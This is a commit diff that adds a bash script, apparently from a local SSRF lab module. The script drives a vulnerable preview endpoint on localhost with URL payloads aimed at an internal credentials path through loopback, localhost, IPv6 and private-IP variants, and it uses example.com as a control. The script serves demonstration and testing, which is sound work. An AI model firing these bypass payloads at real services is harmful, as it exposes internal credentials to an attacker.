Add the ssrf module

ssrf/scripts/exploit.sh

@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+# Drive the vulnerable endpoint against the four targets that matter, printing the outcome of
+# each. Run it after ./scripts/run.sh <profile>; the profile decides the answers.
+set -eu
+PRIVATE_IP="$(hostname -I | awk '{print $1}')"
+probe() {
+  printf '%-58s ' "$1"
+  curl -s --max-time 10 -G http://127.0.0.1:8080/preview --data-urlencode "url=$1" \
+    | python3 -c 'import json,sys; d=json.load(sys.stdin); print(d["outcome"], "|", d.get("body", d.get("message",""))[:96])'
+}
+echo "target                                                     outcome"
+echo "-----------------------------------------------------------------------------------------"
+probe "http://127.0.0.1:8080/internal/credentials"
+probe "http://localhost:8080/internal/credentials"
+probe "http://[::1]:8080/internal/credentials"
+probe "http://${PRIVATE_IP}:8080/internal/credentials"
+probe "http://example.com/"